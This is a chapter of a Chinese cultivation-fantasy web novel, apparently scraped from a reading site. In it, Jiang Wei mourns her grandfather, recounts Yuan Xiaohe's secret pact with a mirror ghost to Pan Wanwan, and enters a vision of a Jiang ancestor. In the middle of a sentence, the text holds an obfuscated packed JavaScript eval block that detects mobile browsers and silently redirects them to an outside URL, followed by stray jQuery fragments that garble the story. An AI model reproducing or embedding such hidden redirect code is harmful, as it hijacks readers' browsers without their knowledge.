窗外悬着一串风铃,是姜老爷子从前亲手做的,初夏的风拂过,发出清脆的摇响。
姜家的院子里,白布挽过墙梁,纸钱的烟灰刚刚散落,姜未独自坐在窗前,手底下压着一本手札,这本手札她从前从未见过,里面只写了一页:
“姜氏第二十二代,姜清砚,儒道,炼气期,吴国历3335年,妖祸突降,五任祭司难敌,遂执斩无刀,以祭血御刀诀灭之,身殒。妻潘雅君,祭司,气血耗竭,兼闻噩耗,产女而亡。父思之念之,永言怀之。”
她提着笔,翻过下一页,久久才写下一行:
“姜氏第二十一代,姜铭辰,巫道,筑基期,吴国历3351年,妖祸袭城,乃八百年来未见之大灾,其执斩无刀,以祭血御刀诀,荡尽方圆五百里妖魔,活人无数。白骨归尘,名垂不朽,德义始终,永仰风烈。”
千言万语难表思念,她搁下笔,默默将札记放进手镯里。
爷爷留的信交代了一些家族琐事,还有地室里存放的一些先祖们留下的灵器,并在信尾再三告诫她修行不要贪快,“打好根基,再行破窍,修行是一辈子的事,一定戒骄戒躁。”他还整理了自己多年的经验做了册子留给她,一看就非一时之功。
其实姜未已经用不到了,但她还是珍而重之地把它们收了起来。
桌上还摆着碎成片片棉絮的娃娃,她一针一线地缝了起来。
窗外时不时响起爆竹声,妖祸已过,村里家家户户开始办丧事,丧炮声连响数日,仍未绝耳。
姜老爷子的丧事是第一个办的,老祭司亲自主持,村正帮忙理事,全村男女老少都来忙活了三天,丧仪隆重至极,长辈夹道相送,同辈扶棺而行,晚辈一排排在坟前磕头送葬,连胡县令听说,都不顾伤重,在出殡当日亲来吊唁,敬上三杯祭酒。
姜家的秘密既是秘密,也不是秘密,知晓内情的人都以为姜家有一门秘术,威力奇大,用之必死,都知当日白昼照城,是姜老爷子以命相护。为保护姜未,大家心照不宣,从未对外相传,但心中无不感念姜氏之情。
姜未戴着缝得歪歪扭扭的娃娃,去爷爷坟前烧纸,自从爷爷下葬,她时不时就到坟上转一圈,有时候说说话,有时候偷喝两杯“春刀”酒,爷爷的藏酒现今都落到她手上了,有时就默默坐在这里,吹吹风,什么都不做。
她一待就是半日,天色暗沉,才从坟前转回,走到宗祠附近,却看见了一个鬼鬼祟祟的人影,“你在这干什么呢,晚晚?”
潘晚晚躲在一棵大树后面,眼珠不错地盯着宗祠大门,也不知在看些什么。
潘晚晚被人一叫,悚然回头,看见是姜未,走到她身边,声音低落道:“没...我只是,听说小禾在这失踪了...我也不知道,就是来看看...”她有些语无伦次,好像自己也不知道自己是来干什么的。
袁小禾自从宗祠那夜后就彻底失踪了,姜未挑挑拣拣将袁小禾的事告知了祭司们,众人猜测她大概已在混战中身亡。姜未虽心中还有几分疑虑,但她当夜一直身处绝境,凝神破窍,并没有注意到混战中袁小禾的去向,之后也没再寻到她的踪迹,也只能暂且放下此事。
姜未领着潘晚晚走进了宗祠后院,较之当日讲给祭司的情形更详细了几分,“我最后一次见她,就是在这,她利用祭司的身份,把一个鬼带进了巨石禁制内,险些盗走咱们村积存八百年的愿力。我在祭司跟前没有全说实话,只说她当日被鬼修控制才做下此事,未必是出自本心。但实际上,她两年前就和鬼有了勾结,最起码薛...蒋若雨撞邪和你被人绑架都是她做的。”
潘晚晚第一次听说这些事,神情惊愕,“两年前?你怎么知道的?”
姜未道:“她和那只鬼第一次相遇的时候,我应该就在现场,只是我被隐藏了记忆,直到破窍那日才重新想起来。”
她向潘晚晚讲起了两年前除夕那晚的遭遇,那场纷飞的大雪仿佛又落在眼前。
(两年前)
袁父发酒疯,痛打了袁小禾一顿,把她赶出了家门。
姜未恰巧在街上遇见了她,那时子时已过,家家户户都在庆贺新禧,外面飘着鹅毛大雪,冷得人骨头发疼,袁小禾却连一件棉衣也没穿,哆哆嗦嗦流浪在外面。于是姜未脱下了自己的衣服给她披上,陪她一起回家。
送袁小禾进了家门,姜未在外面多留了一会儿,见里面静悄悄的,想着袁父应该已经歇下,不会再找袁小禾的麻烦了,她才放心离开,刚走出几米,忽然闻到一股潮湿诡异的臭味,她不由心生不祥,急忙奔回袁家大门,跳到墙上,向里面看去。
袁小禾浑身颤抖地站在柴垛前,手里紧紧捏着一件泛着淡淡黄光的事物,就是它发出的阴湿臭味。
姜未连忙翻墙跳下,急走两步,“你手里拿的什么?快放下,那东西不对,咱们一起去找我爷爷,叫他来处理。”
袁小禾脸色惊惶,胡乱地点着头,就要放下手里的东西,姜未这才看清那是一面镜子。
可袁小禾却突然顿住了,像是听见了什么,痛苦地捂住了耳朵,不断向后退去,嘴里不断说着:“不要!闭嘴!我不想!”
姜未心道不好,袁小禾已经出现了幻听,她一咬牙,飞身攥住她的手腕,微微用劲,大喝道:“快放手!”姜未知道一些常识,镜子邪异,最好不要肌肤相碰,只能想办法让袁小禾撒手,要是还不行,只好把她打晕,先带出这个地方再说。
袁小禾突然生出一股蛮力,使劲挣扎起来,姜未怕掰折了她的手腕,连忙放手,袁小禾推着姜未向外走去,“快走、快走,我不想伤害你!”
姜未心头焦急,回身看她,两人四目相接,忽然脑袋一沉,听见了一道朦胧的声音,“求你,出了门就把这些都忘了,你什么都没看见。”
两年前的雪在眼前消失,姜未对潘晚晚道:“我出了门,就什么都不记得了,只记得送她回了家,然后就离开了。我猜那是他们第一次相遇。”
潘晚晚呆呆道:“原来两年前还发生过这么多事,枉我和她日日在一起,却什么都不知道,她一定是那时候被鬼控制了,这两年不知道过得有多痛苦,我却什么都不知道...”她的眼泪汹涌地流了下来,最后埋在衣袖上痛哭起来。
姜未把她搂进怀里,嘴边犹豫的话咽了回去,当时情境,袁小禾明明可以接受她的帮助,两人一起逃出去,她却拒绝了,最起码那一刻,她没有受鬼修的控制,她是自愿的。
姜未不难猜测原因,她还有一桩隐秘没有告诉晚晚,那是她答应袁小禾永远不会向任何人提起的秘事。其实那晚她遇见她时,隔壁村的小混混薛游正把她拉进枯草地,差点侮辱了她,是姜未恰巧路过打跑了薛游。镜子里的鬼一定是诱惑她,答应帮她杀了薛游,她才在最后一刻放弃了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157695|179687||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她的帮助,把自己陷入了这个深渊。
薛游是该死,可这天下哪有这么便宜的买卖,鬼帮她杀了人,她要付出的只怕是千百倍的东西。
姜未懊恼地咬着后槽牙,她当年就该心再狠一点,哪怕掰断了她的手、打昏了她,也该把她带走。人心生恶念在所难免,她该在悬崖边把她拉回来才对。
一时两人各沉浸在自己的思绪里,都沉默不语。
潘晚晚也被隐藏了记忆,姜未的修为还不够帮她破除,但两人都猜测是那晚潘晚晚意外去袁家撞见了袁小禾的秘密,才被设计绑架。
潘晚晚轻声道:“她没当场要了我的命,大概已是她能做的极限了,妖祸那晚,她冲过来救我,最起码我知道了她对我不是没有真心,我自诩为她最好的朋友,却从来也没发现过她的处境,我根本不配做她最好的朋友,我不怪她了。”她站起身,脸上有了些释然,过往或许还有很多隐秘再难得知,但她的心结也算解开大半,“谢谢你,姐,我先回去了。”
姜未目送她离开,轻轻叹了口气。
半晌,她转过身,看向了身后的巨石,稀薄的月光洒落,巨石黑黢黢的,并没有什么神异。
可她却冥冥中感到了源自血脉的强烈召唤,忍不住走至近前,在月色下模糊看到大石上出现了一道深深的刀痕,那刀痕原本并没有,是此刻才显现的。
她的视线不受控制地被刀痕吸引,一瞬间整个心神都被卷入了其中。
她的眼前出现了一个如同深渊的巨大漩涡,刺目的刀影织密成网,铺天盖地而来,姜未只觉自己渺小如虫蚁,即将被这无边无际的刀光吞噬。
她脊骨处涌出一阵激荡的热流,眼前银芒霍然散去。
姜未的四周变得一片漆黑,天边银月闪现,星辉流淌交映,她的脚下铺开一条银色光河,粼粼晶光绚丽夺目。
她循着召唤,顺着光河走向无垠的远方,眼前突兀出现一扇斑驳的木门,她轻轻推开,景象瞬间变幻。
铅灰色的天幕垂着阴沉沉的云,潮湿的水汽氤氲在四周。
姜未双脚落在了青石砖上,眼前是有些破旧的院落。
一个肚子高高隆起的妇人正眼含焦虑地望向门外,荆钗布裙难掩丽色。
她是谁,姜未慢慢走近,直到与妇人面对面,才确认这里只是一个奇怪的幻境,妇人根本察觉不到她的存在。
木门“吱呀”一声推开,一个白发苍苍的老妇苦着脸,悄声走进院里,“真君大人,他们都被抓了,都被抓了…”
身怀六甲、容色姣丽的妇人轻皱起眉头,“他们分了好几路躲藏,身上或多或少都有隐匿形迹的法宝…是谁被抓了?”
老妇嘴唇颤抖了几下,低低道:“都…都被抓了…都死了…”
姣丽妇人似乎被晴天惊雷劈中,脸色顿时煞白,她怔了片刻,突然急声问道:“那夫君和我的阿瑶…”
老妇浑浊的双眼流下泪来,“真君大人…节哀。”
姣丽妇人瘫坐在身后的木椅上,嘴里喃喃自语,“我的夫君,是大乘期,已感应到天地劫,我的阿瑶只有十岁,还未修行…我们姜家始祖庇佑人族数千载,无数姜家子弟为人族战死。如今始祖陨落不过两千年,姜家却临此倾覆之劫。”
她是姜家某位先祖,姜未一瞬间瞳孔放大,心里突然有了一个猜测,这让她的神情变得更加肃穆。